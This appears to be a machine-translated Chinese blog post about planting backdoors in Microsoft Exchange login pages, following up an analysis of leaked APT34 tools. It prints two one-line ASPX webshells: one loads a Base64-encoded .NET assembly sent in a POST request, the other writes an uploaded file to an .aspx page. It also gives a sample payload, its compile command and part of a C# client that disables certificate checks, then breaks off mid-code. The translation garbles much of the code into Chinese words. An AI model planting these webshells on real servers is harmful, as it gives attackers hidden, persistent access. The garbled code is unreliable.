发布于2022年11月8日2年前 0x00 前言 在之前的文章《对APT34泄露工具的分析-HighShell和HyperShell》 分析了超级外壳中的ExpiredPassword.aspx,通过向交换登录页面下的ExpiredPassword.aspx添加代码实现后门功能。 本文将要沿着这个思路,在技术角度介绍另外两种实现方法,开源测试代码,给出防御建议。 0x01 简介 本文将要介绍以下内容: 两种后门代码的实现 通过升c调代码实现后门连接 通过计算机编程语言代码实现后门连接 利用分析 防御建议 0x02 两种后门代码的实现 1.内存加载.net程序集 这里参考《利用动态二进制加密实现新型一句话木马之.NET篇》 为了缩短代码长度,示例test1.aspx的代码如下: %@ Page Language='C#' %%System .反射。汇编。加载(转换FromBase64String(请求。表格['demodata']).CreateInstance("有效负载")。等于("");% 代码会判断是否带有邮政请求的参数蠕形螨,如果存在会将邮政请求中参数蠕形螨的内容作base64解密,在内存加载并调用名为有效载荷的实例 注: 夏普谢尔也使用相同的内存加载方式 我们可以通过以下方式生成有效载荷: (1)新建文件演示。铯 代码如下: 使用系统; 使用系统。诊断; 公共类有效负载 { 公共覆盖布尔等于(对象对象) { 过程开始(' calc。exe’); 返回真实的 } } (2)编译生成动态链接库文件 命令如下: C:\Windows\Microsoft .NET \ framework 64 \ v 4。0 .30319 \ CSC。exe/target:库演示。铯 生成demo.dll后进行base64加密,作为邮政请求中参数蠕形螨的内容,发送至test1.aspx,即可触发后门 2.文件写入 为了缩短代码长度,示例test2.aspx的代码如下: %@ Page Language='C#' %%if(请求。文件。数数!=0)请求。文件[0]。另存为(服务器MapPath(' ./上传演示。aspx’));}% 代码会判断是否有文件上传请求,如果存在会将第一个文件上传请求的内容保存在同级目录下的上传演示。aspx 参数说明: 请求。文件数:上传文件数量 服务器MapPath(" "):返回当前页面所在的物理文件路径 请求。文件[0]。另存为():保存上传的第一个文件 服务器MapPath(' ./uploadByfile.aspx '):返回当前页面同级路径下的' uploadByfile.aspx ' 0x03 通过C Sharp代码实现后门连接 1.内存加载.net程序集 发送邮政请求带参数时,内容类型需要指定为application/x-www-form-urlencoded 邮政请求的内容需要注意转义字符的问题,例如发送的内容包含字符=,会被识别成用来分隔键和值的特殊字符。而我们使用base64编码时,会用到字符=,所以在发送邮政请求时,需要将base64编码的结果再次进行统一资源定位器编码,例如将字符=转换为= 完整代码如下: 使用系统; 使用系统。文本; 使用系统。网; 使用系统。木卫一; 使用系统网页。 名称空间测试 { 公开课程 { 公共静态字符串HttpPostData(字符串url,字符串路径) { byte[] buffer=System .IO。File.ReadAllBytes(路径); string base64str=Convert .to base 64字符串(缓冲区); ServicePointManager .ServerCertificateValidationCallback=(sender,certificate,chain,sslPolicyErrors)={ return true;}; HttpWebRequest请求=WebRequest .将(网址)创建为HttpWebRequest 请求. method=" POST 请求content type=' application/x-www-form-urlencoded '; 请求用户代理=' Mozilla/5.0(Windows NT 6.3;win 64x 64)apple WebKit/537.36(KHTML,像壁虎一样)Chrome/81。0 .4044 .129 Safari/537.36
创建帐户或登录后发表意见